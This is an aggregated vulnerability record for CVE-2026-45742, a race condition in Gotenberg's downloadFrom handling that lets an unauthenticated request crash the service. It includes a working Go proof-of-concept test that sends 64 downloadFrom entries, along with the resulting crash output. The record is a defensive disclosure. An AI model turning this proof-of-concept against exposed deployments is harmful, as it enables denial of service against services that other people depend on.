{"id":"CVE-2026-45742","aliases":["CVE-2026-45742","GHSA-vp73-vjw8-8f32","GO-2026-5669"],"related":[],"kind":"vulnerability","state":"published","title":"Gotenberg: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","summary":"Gotenberg is a Docker-powered stateless API for PDF files. From 8.10.0 until 8.33.0, the newContext function in pkg/modules/api/context.go starts one errgroup.Go goroutine for each multipart downloadFrom entry and allows those goroutines to concurrently write to the shared ctx.files, ctx.diskToOriginal, and ctx.filesByField maps and slices. Go maps and slices are not safe for concurrent mutation, so a crafted multipart request containing many downloadFrom entries can trigger a data race and terminate the process with a fatal concurrent map writes runtime error. The default configuration enables downloadFrom and disables authentication, allowing an unauthenticated remote attacker to crash an exposed conversion service and cause a denial of service. This issue is fixed in version 8.33.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gotenberg is a Docker-powered stateless API for PDF files. From 8.10.0 until 8.33.0, the newContext function in pkg/modules/api/context.go starts one errgroup.Go goroutine for each multipart downloadFrom entry and allows those goroutines to concurrently write to the shared ctx.files, ctx.diskToOriginal, and ctx.filesByField maps and slices. Go maps and slices are not safe for concurrent mutation, so a crafted multipart request containing many downloadFrom entries can trigger a data race and terminate the process with a fatal concurrent map writes runtime error. The default configuration enables downloadFrom and disables authentication, allowing an unauthenticated remote attacker to crash an exposed conversion service and cause a denial of service. This issue is fixed in version 8.33.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nGotenberg is vulnerable to a remote denial of service in multipart `downloadFrom` handling.\n\nA multipart request containing multiple `downloadFrom` entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with `fatal error: concurrent map writes`.\n\nIn the default configuration, `downloadFrom` is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.\n\n### Details\n\nThe issue is in `pkg/modules/api/context.go`.\n\n`newContext` parses multipart requests and processes the `downloadFrom` form field before the route handler runs. For each `downloadFrom` entry, it starts a goroutine via `errgroup.Go()`:\n\n- `pkg/modules/api/context.go:221`\n\nEach goroutine downloads a file and then writes to request context maps shared by all goroutines:\n\n- `ctx.files[filename] = path`\n- `ctx.diskToOriginal[path] = filename`\n- `ctx.filesByField[...] = append(...)`\n\nAffected lines in current `main`:\n\n- `pkg/modules/api/context.go:395`\n- `pkg/modules/api/context.go:396`\n- `pkg/modules/api/context.go:401`\n\nGo maps and slices are not safe for concurrent writes. A crafted multipart request with many `downloadFrom` entries can therefore trigger a runtime crash.\n\nThe vulnerable `downloadFrom` feature was introduced in commit `f2b6bd3d`. The first tagged release containing this code appears to be `v8.10.0`.\n\n### PoC\n\nThe following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.\n\nRun from the repository root:\n\n    cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'\n    //go:build security_poc\n\n    package api\n\n    import (\n        \"bytes\"\n        \"encoding/json\"\n        \"fmt\"\n        \"log/slog\"\n        \"mime/multipart\"\n        \"net/http\"\n        \"net/http/httptest\"\n        \"sync\"\n        \"testing\"\n        \"time\"\n\n        \"github.com/labstack/echo/v4\"\n\n        \"github.com/gotenberg/gotenberg/v8/pkg/gotenberg\"\n    )\n\n    func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {\n        const downloads = 64\n\n        var ready sync.WaitGroup\n        ready.Add(downloads)\n        release := make(chan struct{})\n        var releaseOnce sync.Once\n\n        server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n            ready.Done()\n            go func() {\n                ready.Wait()\n                releaseOnce.Do(func() {\n                    close(release)\n                })\n            }()\n            <-release\n\n            filename := fmt.Sprintf(\"download-%s.txt\", r.URL.Query().Get(\"i\"))\n            w.Header().Set(\"Content-Disposition\", fmt.Sprintf(`attachment; filename=\"%s\"`, filename))\n            _, _ = w.Write([]byte(\"downloaded\"))\n        }))\n        defer server.Close()\n\n        dls := make([]downloadFrom, downloads)\n        for i := range dls {\n            dls[i] = downloadFrom{\n                Url:   fmt.Sprintf(\"%s/file?i=%d\", server.URL, i),\n                Field: \"embedded\",\n            }\n        }\n\n        payload, err := json.Marshal(dls)\n        if err != nil {\n            t.Fatalf(\"marshal downloadFrom payload: %v\", err)\n        }\n\n        body := new(bytes.Buffer)\n        writer := multipart.NewWriter(body)\n        err = writer.WriteField(\"downloadFrom\", string(payload))\n        if err != nil {\n            t.Fatalf(\"write downloadFrom field: %v\", err)\n        }\n        err = writer.Close()\n        if err != nil {\n            t.Fatalf(\"close multipart writer: %v\", err)\n        }\n\n        req := httptest.NewRequest(http.MethodPost, \"/forms/libreoffice/convert\", body)\n        req.Header.Set(\"Content-Type\", writer.FormDataContentType())\n\n        echoCtx := echo.New().NewContext(req, httptest.NewRecorder())\n        logger := slog.New(slog.DiscardHandler)\n        fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))\n        downloadFromCfg := downloadFromConfig{\n            maxRetry: 0,\n        }\n\n        ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)\n        if err != nil {\n            t.Fatalf(\"newContext returned error: %v\", err)\n        }\n        defer cancel()\n\n        if got := len(ctx.files); got != downloads {\n            t.Fatalf(\"downloaded files = %d, want %d\", got, downloads)\n        }\n    }\n    EOF\n\n    GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1\n    rm pkg/modules/api/downloadfrom_race_poc_test.go\n\nExpected result with the race detector:\n\n    WARNING: DATA RACE\n    Write at ...\n      github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()\n        .../pkg/modules/api/context.go:395\n\n    WARNING: DATA RACE\n      .../pkg/modules/api/context.go:396\n\n    WARNING: DATA RACE\n      .../pkg/modules/api/context.go:401\n\nRunning the same PoC without `-race` also demonstrates practical process termination:\n\n    GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20\n\nObserved result:\n\n    fatal error: concurrent map writes\n    github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()\n      .../pkg/modules/api/context.go:395\n    FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api\n\n### Impact\n\nThis is a remote denial-of-service vulnerability.\n\nAny deployment that exposes multipart conversion endpoints with `downloadFrom` enabled is affected. In the default configuration, `downloadFrom` is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.\n\nThe vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gotenberg has a Race Condition via Multipart `downloadFrom` Handling in github.com/gotenberg/gotenberg","format":"markdown","source":"go"},{"lang":"es","text":"Gotenberg es una API sin estado impulsada por Docker para archivos PDF. Desde la 8.10.0 hasta la 8.33.0, la función newContext en pkg/modules/api/context.go inicia una goroutine errgroup.Go por cada entrada multipart downloadFrom y permite que esas goroutines escriban concurrentemente en los mapas y slices compartidos ctx.files, ctx.diskToOriginal y ctx.filesByField. Los mapas y slices de Go no son seguros para la mutación concurrente, por lo que una solicitud multipart elaborada que contenga muchas entradas downloadFrom puede desencadenar una condición de carrera y terminar el proceso con un error de tiempo de ejecución fatal de escrituras concurrentes en mapas. La configuración predeterminada habilita downloadFrom y deshabilita la autenticación, permitiendo a un atacante remoto no autenticado bloquear un servicio de conversión expuesto y causar una denegación de servicio. Este problema está solucionado en la versión 8.33.0.","source":"nvd"}],"published":"2026-05-29T16:56:18.000Z","modified":"2026-10-27T13:10:00.360Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-362"],"affected":[{"ranges":[{"version":">= 8.10.0, < 8.33.0","status":"affected"}],"vendor":"gotenberg","product":"gotenberg","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"8.10.0","status":"affected","fixed":"8.33.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v7","purl":"pkg:golang/github.com/gotenberg/gotenberg/v7","source":"go"},{"ranges":[{"type":"semver","introduced":"8.10.0","status":"affected","fixed":"8.33.0"}],"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","purl":"pkg:golang/github.com/gotenberg/gotenberg/v8","source":"go"}],"references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-vp73-vjw8-8f32","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/gotenberg/gotenberg/commit/6671b5e5d30289087ca80130fc76f130cfa4dd7b","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/gotenberg/gotenberg","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-08-19T15:29:09.140Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45742","url":"https://www.cve.org/CVERecord?id=CVE-2026-45742","licence":"CVE Terms of Use","modified":"2026-08-19T15:29:39.998Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vp73-vjw8-8f32","url":"https://github.com/advisories/GHSA-vp73-vjw8-8f32","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:14.555Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5669","url":"https://pkg.go.dev/vuln/GO-2026-5669","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:25.646Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45742","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45742","licence":"Public domain","modified":"2026-10-27T13:10:00.360Z"}],"updatedAt":"2026-11-25T22:59:33.955Z","epss":{"score":0.00597,"percentile":0.4993,"date":"2026-12-01T12:00:22.000Z"}}